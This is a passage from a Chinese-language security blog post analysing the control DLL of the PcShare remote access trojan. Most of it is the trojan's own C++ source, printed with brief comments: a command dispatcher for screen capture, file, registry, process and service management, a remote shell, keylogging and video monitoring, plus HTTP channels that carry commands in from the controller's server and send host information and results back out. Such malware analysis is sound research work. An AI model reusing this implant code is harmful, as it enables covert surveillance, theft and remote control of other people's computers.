m_ServerAddr); m_Info.m_DesPort = m_ServerPort; m_Info.m_LocalPort = m_CmdInfo.m_DataLen; m_Info.m_soListen = StartTcp(m_Info.m_LocalPort); if(m_Info.m_soListen) { //啟動偵聽線程 _beginthread(ListenThread, 0, (LPVOID) m_Info.m_soListen); } } break; //屏幕拷貝 caseCLIENT_FRAME_START : //文件管理 caseCLIENT_FILES_START : //超級終端 caseCLIENT_TLNT_START : //注冊表管理 caseCLIENT_REGEDIT_START : //進程管理 caseCLIENT_PROC_START : //服務管理 caseCLIENT_SERVICE_START : //鍵盤監(jiān)控 caseCLIENT_KEYMON_START : //視頻監(jiān)控 caseCLIENT_MULIT_START : StartClientCtrl(m_CmdInfo.m_Command); break; //錯誤命令 default: break; } //防止系統(tǒng)卡死 ::Sleep(1); returnTRUE; }
接收控制端發(fā)送的命令是通過 RecvData 函數(shù)實現(xiàn)的,它與第二階段實現(xiàn)代碼一致,前面已經(jīng)分析過,不在此分析了。
其中接收的命令協(xié)議頭為:
typedefstruct_CMDINFO_ { UINTm_Command; //操作命令 UINTm_DataLen; //數(shù)據(jù)長度 }CMDINFO,*LPCMDINFO;
由于是進行交互的套接字是阻塞的,所以當控制 dll 沒有收到控制端下發(fā)的數(shù)據(jù)時,會一直阻塞在 CMyMainTrans::RecvData 函數(shù)的循環(huán)中。
當收發(fā)控制端下發(fā)的指令后,當發(fā)送文件管理命令時,被控端收到了如下指令
最終將通過 CMyMainTrans::StartClientCtrl 函數(shù)執(zhí)行對應功能,其內部將創(chuàng)建一個單獨的工作線程去執(zhí)行文件管理功能。
voidCMyMainTrans::StartClientCtrl(intiType) { //啟動相應控制線程 m_WorkType = iType; _beginthread(SSH_CtrlThread, 0, (LPVOID) this); }
線程的回調函數(shù)中,將處理控制端對應的命令。
void CMyMainTrans::SSH_CtrlThread(LPVOID lPvoid) { CMyMainTrans* pThis = (CMyMainTrans*) lPvoid; if(pThis->m_WorkType == CLIENT_FILES_START) { //文件管理 CMyAdminTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_MANA_SEND, CONN_FILE_MANA_RECV); } elseif(pThis->m_WorkType == CLIENT_FRAME_START) { //屏幕監(jiān)控 CMyFrameTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_FRAM_SEND, CONN_FILE_FRAM_RECV); } elseif(pThis->m_WorkType == CLIENT_REGEDIT_START) { //注冊表編輯 CMyAdminTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_REGD_SEND, CONN_FILE_REGD_RECV); } elseif(pThis->m_WorkType == CLIENT_TLNT_START) { //超級終端 CMyTlntTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_TLNT_SEND, CONN_FILE_TLNT_RECV); } elseif(pThis->m_WorkType == CLIENT_PROC_START) { //進程管理 CMyAdminTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_PROC_SEND, CONN_FILE_PROC_RECV); } elseif(pThis->m_WorkType == CLIENT_SERVICE_START) { //服務管理 CMyAdminTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_SERV_SEND, CONN_FILE_SERV_RECV); } elseif(pThis->m_WorkType == CLIENT_KEYMON_START) { //鍵盤監(jiān)控 CMyKeyMonTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_KEYM_SEND, CONN_FILE_KEYM_RECV); } elseif(pThis->m_WorkType == CLIENT_MULIT_START) { //視頻監(jiān)控 CMyMulitTrans m_Trans; m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort, CONN_FILE_MULT_SEND, CONN_FILE_MULT_RECV); } }
后續(xù)會打開對應的類函數(shù) StartWork 進行處理,比如文件管理,會調用 CMyAdminTrans::StartWork 函數(shù),內部首先調用 CMyHttpPipeBase::StartWork 函數(shù)連接目標服務器,創(chuàng)建發(fā)送接收管道。
BOOLCMyAdminTrans::StartWork(char* m_ServerAddr, intm_ServerPort, intnSend, intnRecv) { //連接目標服務器,創(chuàng)建發(fā)送接收管道 if(!CMyHttpPipeBase::StartWork( m_ServerAddr, m_ServerPort, nSend, nRecv)) returnFALSE; //開始任務 while(1) { //接收命令 if(!ReadBag(m_TransData,m_dTransLen,m_Command)) break; //處理為字串 m_TransData[m_dTransLen] = 0; //命令處理 switch(m_Command) { // ... //取磁盤列表 caseCLIENT_DISK_LIST: GetDiskList(m_TransData,m_dTransLen,m_Command); break; // ... } //發(fā)送數(shù)據(jù) if(!SendBag(m_TransData,m_dTransLen,m_Command)) break; } if(m_TransData != NULL) { delete [] m_TransData; m_TransData = NULL; } //關閉句柄 StopWork(); returnTRUE; }
在 CMyHttpPipeBase::StartWork 內部,主要是
創(chuàng)建了兩個 HTTP 連接,一個用作接收控制端命令的管道,另一個用作發(fā)送執(zhí)行結果數(shù)據(jù)的管道。
調用 HttpSendRequest 函數(shù)連接接收管道,用來等到控制端下發(fā)的指令。
調用 HttpSendRequestEx() 函數(shù)連接發(fā)送管道,用來回傳執(zhí)行結果數(shù)據(jù)。
BOOLCMyHttpPipeBase::StartWork(char* m_ServerAddr, intm_ServerPort, intnSend, intnRecv) { //創(chuàng)建接收管道 if(!m_PipeRecv.ConnectHttpServer( m_ServerAddr, m_ServerPort, nRecv, INTERNET_FLAG_PRAGMA_NOCACHE| INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_RELOAD)) { StopWork(); returnFALSE; } //連接接收管道 if(!HttpSendRequest(m_PipeRecv.hHttpFp , NULL, 0, NULL, 0)) { StopWork(); returnFALSE; } //創(chuàng)建發(fā)送管道 if(!m_PipeSend.ConnectHttpServer( m_ServerAddr, m_ServerPort, nSend, INTERNET_FLAG_PRAGMA_NOCACHE| INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_RELOAD)) { StopWork(); returnFALSE; } //連接發(fā)送管道 INTERNET_BUFFERS BufferIn = {0}; BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS ); BufferIn.dwBufferTotal = 1024* 1024* 1024+ 973741824; if(!HttpSendRequestEx(m_PipeSend.hHttpFp, &BufferIn,NULL,HSR_INITIATE,0)) { StopWork(); returnFALSE; } returnTRUE; }
其中 CMyHttpBase::ConnectHttpServer 函數(shù)是與控制端建立 HTTP 連接,它和第二階段的連接服務器不同的是,它上傳的主機信息是通過 POST 方式上傳的。
BOOLCMyHttpBase::ConnectHttpServer(char* m_ServerAddr , intm_ServerPort, intnCmd, DWORD nStyle) { //中斷上次連接 StopWork(); //檢查數(shù)據(jù)有效性 if(strlen(m_ServerAddr) == 0 || m_ServerPort == 0) returnFALSE; //初始化HTTP環(huán)境 hHttpIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; " "Windows NT 5.0; .NET CLR 1.1.4322)", INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); if(!hHttpIe) returnFALSE; //填充主機地址 hHttpHc = InternetConnect(hHttpIe, m_ServerAddr , m_ServerPort , NULL, NULL, INTERNET_SERVICE_HTTP,0,0); if(!hHttpHc) { StopWork(); returnFALSE; } //填充上送當前客戶信息 charm_Url[4096] = {0}; charm_ExternData[2048] = {0}; GetMySysInfo(m_ExternData); sprintf(m_Url,"%d%s",nCmd,m_ExternData); hHttpFp = HttpOpenRequest(hHttpHc, "POST",m_Url,NULL,NULL,NULL,nStyle,NULL); if(!hHttpFp) { StopWork(); returnFALSE; } DWORD m_TimeOut = 24* 3600* 1000; if(!InternetSetOption(hHttpFp, INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD))) { StopWork(); returnFALSE; } returnTRUE; }
一旦與控制端成功建立連接后,控制 dll 將調用 ReadBag 函數(shù)用于接收控制端下發(fā)指令。
BOOLCMyAdminTrans::ReadBag(char* Data, DWORD& Len,UINT&m_Command) { //接收命令 if(!RecvData((char*) &m_Command, sizeof(UINT))) returnFALSE; //接收長度 if(!RecvData((char*) &Len, sizeof(DWORD))) returnFALSE; TRACE("ReadBag : Len = %d,m_Command = %d ",Len,m_Command); //查看數(shù)據(jù)長度 if(Len <= 0) return?TRUE; ????//接收數(shù)據(jù) ????if(!RecvData(Data, Len)) return?FALSE; ????return?TRUE; }
其中接收的消息格式為:
struct { UINT Command; // 4 DWORD len; // 4 數(shù)據(jù)長度 char* data; // 業(yè)務數(shù)據(jù),長度為 len }
如果是控制端下發(fā)的命令,那么,數(shù)據(jù)長度為0。
之后根據(jù)接收到的命令類型,進行不同處理,測試中為打開文件管理功能
將會根據(jù)這個命令進行具體處理,處理完畢后,將使用 MakeCompressData 對結果進行壓縮。
void CMyAdminTrans::MakeCompressData(char *m_TransData,DWORD &len) { DWORD m_SrcLen = len; BYTE *pSrcData = newBYTE[m_SrcLen]; memcpy(pSrcData,m_TransData,m_SrcLen); len= T_DATALEN; compress((LPBYTE) m_TransData,&len,pSrcData,m_SrcLen); delete[] pSrcData; }
隨后將調用 CMyAdminTrans::SendBag 函數(shù)將壓縮后的數(shù)據(jù)回傳,該函數(shù)發(fā)送的步驟就是
* 先發(fā)送消息頭(命令+包體長度);
* 在發(fā)送具體命令對應的內容。
BOOLCMyAdminTrans::SendBag(char* Data, DWORD &Len,UINT&m_Command) { //發(fā)送命令 if(!SendData((char*) &m_Command, sizeof(UINT))) returnFALSE; //發(fā)送長度 if(!SendData((char*) &Len, sizeof(DWORD))) returnFALSE; //查看數(shù)據(jù)長度 if(Len <= 0) return?TRUE; ????//發(fā)送數(shù)據(jù) ????if(!SendData(Data, Len)) return?FALSE; ????return?TRUE; }
到此,控制 dll 處理控制端下發(fā)的指令并返回執(zhí)行命令的結果分析完畢。
丈八網(wǎng)安蛇矛實驗室成立于2020年,致力于安全研究、攻防解決方案、靶場對標場景仿真復現(xiàn)及技戰(zhàn)法設計與輸出等相關方向。團隊核心成員均由從事安全行業(yè)10余年經(jīng)驗的安全專家組成,團隊目前成員涉及紅藍對抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關領域。
-
計算機
+關注
關注
19文章
7511瀏覽量
88100 -
遠程控制
+關注
關注
4文章
634瀏覽量
34941 -
源碼
+關注
關注
8文章
643瀏覽量
29257 -
函數(shù)
+關注
關注
3文章
4333瀏覽量
62708 -
代碼
+關注
關注
30文章
4793瀏覽量
68701
原文標題:安全開發(fā)之Pcshare流程分析
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發(fā)布評論請先 登錄
相關推薦
評論